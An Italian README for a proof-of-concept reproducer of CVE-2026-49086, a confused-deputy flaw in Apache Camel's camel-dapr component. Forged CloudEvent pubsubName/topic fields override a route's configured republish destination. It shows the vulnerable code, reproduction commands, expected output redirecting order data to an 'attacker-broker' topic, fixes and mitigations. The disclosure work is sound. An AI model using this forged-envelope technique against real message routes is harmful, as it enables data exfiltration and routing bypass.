Riproduttore dell'Override delle Routing Header del Consumer camel-dapr / Confused Deputy (CVE-2026-49086)

Questo progetto dimostra un difetto di override delle routing header (confused deputy) nel componente camel-dapr di Apache Camel, tracciato come CVE-2026-49086.

Il consumer pub/sub di Dapr (DaprPubSubConsumer) copia i campi del CloudEvent in ingresso (non attendibile) nelle header dei messaggi Exchange. Due di questi — pubsubName e topic — sono routing header in direzione producer (CamelDaprPubSubName / CamelDaprTopic). Quando in seguito la stessa route pubblica tramite un producer dapr:pubSub, DaprConfigurationOptionsProxy preferisce il valore della header rispetto al valore configurato sull'endpoint. Quindi l'envelope in ingresso, controllato da un mittente di messaggi non attendibile, sovrascrive silenziosamente la destinazione di ripubblicazione della route:

// DaprPubSubConsumer.createServiceBusExchange (versione 4.18.2 soggetta al problema) — envelope non attendibile -> routing header
message.setHeader(DaprConstants.PUBSUB_NAME, cloudEvent.getPubsubName());   // CamelDaprPubSubName
message.setHeader(DaprConstants.TOPIC,       cloudEvent.getTopic());        // CamelDaprTopic

// DaprConfigurationOptionsProxy.getOption (versione 4.18.2 soggetta al problema) — la header VINCE sulla configurazione dell'endpoint
return ObjectHelper.isEmpty(exchange) || ObjectHelper.isEmpty(exchangeFn.apply(exchange))
        ? fallbackFn.get()            // configurazione endpoint (es. audit-broker/audit-log)
        : exchangeFn.apply(exchange); // la header copiata dal CloudEvent in ingresso

In una route che consuma da un topic e ripubblica su un altro (un pattern comune di audit/inoltro/fan-out), un attore che può pubblicare sul topic sottoscritto imposta pubsubName/topic del CloudEvent e reindirizza il messaggio ripubblicato a un componente + topic Dapr pub/sub arbitrario — esfiltrando il payload verso un broker raggiungibile dall'attaccante, oppure aggirando il routing/le ACL previsti. Questo è un confused deputy: l'applicazione ripubblica con le proprie credenziali Dapr verso una destinazione scelta dall'attaccante.

Questo PoC dimostra l'impatto come reindirizzamento di messaggi / esfiltrazione di dati (CWE-441, derivata da CWE-20).

Advisory: https://camel.apache.org/security/CVE-2026-49086.html

Riepilogo della vulnerabilità

La correzione impedisce al consumer di impostare le due routing header (CamelDaprPubSubName / CamelDaprTopic); le altre header di metadati CloudEvent restano invariate. Il producer usa quindi sempre il pub/sub + il topic configurati sull'endpoint. (È stata aggiunta anche una DaprHeaderFilterStrategy per coerenza con il catalogo, ma la modifica effettiva che risolve il problema è quella relativa alle routing header.)

Perché non serve un sidecar Dapr

La vulnerabilità è interamente in Camel — il consumer che copia CloudEvent.pubsubName/topic nelle routing header e il producer che preferisce quelle header. Il sidecar Dapr è solo trasporto. Questo riproduttore inietta client mock dell'SDK Dapr (client=#mockClient, previewClient=#mockPreview) così che il vero DaprPubSubConsumer e il DaprPubSubHandler vengono eseguiti invariati senza sidecar: il client preview mock cattura il listener di sottoscrizione, e il client mock registra la destinazione di pubblicazione. Il driver dell'attaccante consegna quindi un CloudEvent falsificato al listener catturato — esattamente ciò che innesca un mittente in grado di pubblicare sul topic sottoscritto.

La route vittima

from("dapr:pubSub?pubSubName=orders-broker&topic=orders&previewClient=#mockPreview&client=#mockClient")
    .to("dapr:pubSub?pubSubName=audit-broker&topic=audit-log&client=#mockClient&previewClient=#mockPreview");

L'autore intende che ogni ordine venga replicato sul flusso di audit fisso audit-broker/audit-log. Ma poiché il consumer copia pubsubName/topic dell'envelope in ingresso nelle routing header, il producer di audit pubblica su qualunque cosa indichi l'envelope — mai sul flusso di audit configurato.

Struttura del repository

Tutto viene eseguito in un unico contenitore autonomo.

CVE-2026-49086/
├── pom.xml                 # camel-dapr 4.18.2 (dapr-sdk 1.16.1 transitivo) + spring-boot-web
├── Dockerfile
├── docker-compose.yml      # singolo servizio autonomo
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── DaprMockConfig.java       # mock DaprClient + DaprPreviewClient (proxy dinamici; nessun sidecar)
    │   ├── PublishRecorder.java      # registra dove il producer ha effettivamente pubblicato
    │   ├── SubscriptionRegistry.java # cattura il listener di sottoscrizione del consumer
    │   ├── VictimRoutes.java         # sottoscrizione dapr:pubSub -> pubblicazione dapr:pubSub (audit)
    │   └── ExploitController.java    # attaccante: consegna CloudEvent falsificati; confronta la destinazione di pubblicazione
    └── resources/
        └── application.properties

Prerequisiti

• Docker e Docker Compose
• Java 17+ e Maven 3.8+

Passaggi per la riproduzione

mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down

Output atteso

=== CVE-2026-49086 — camel-dapr consumer routing-header override (confused deputy) ===

Route intent: mirror every order to a FIXED audit stream
    .to("dapr:pubSub?pubSubName=audit-broker&topic=audit-log")

1) Ordinary order event (envelope pubsub=orders-broker topic=orders)
     audit copy actually published to: orders-broker / orders
     -> already NOT the configured audit-broker/audit-log: the envelope's routing fields leaked into the producer.

2) Malicious order event (envelope forged: pubsub=attacker-broker topic=exfil-secrets)
     audit copy actually published to: attacker-broker / exfil-secrets
     leaked order data: {"orderId":"A-1002","card":"4111-2222-3333-4444"}

>>> PROVEN: the inbound CloudEvent's pubsubName/topic overrode the route's hard-coded
>>> audit target, so an attacker who can publish to 'orders' redirects the order copy to
>>> an arbitrary pub/sub component + topic (data exfiltration / routing bypass): true

Correzione consigliata

Eseguire l'aggiornamento a 4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23630). Dopo la correzione il consumer non imposta più CamelDaprPubSubName / CamelDaprTopic, quindi un producer dapr:pubSub a valle di un consumer dapr:pubSub usa il componente pub/sub e il topic configurati sull'endpoint.

Mitigazione

In attesa dell'aggiornamento, rimuovere le routing header tra il consumer e qualsiasi producer dapr:pubSub nella route (ad esempio removeHeaders("CamelDaprPubSubName,CamelDaprTopic")) e impostare il pub/sub + il topic di ripubblicazione da una fonte attendibile.

Dichiarazione di esclusione di responsabilità

Questo riproduttore è fornito solo per ricerca sulla sicurezza e test autorizzati, per una vulnerabilità divulgata pubblicamente e corretta. Non utilizzarlo contro sistemi senza esplicita autorizzazione.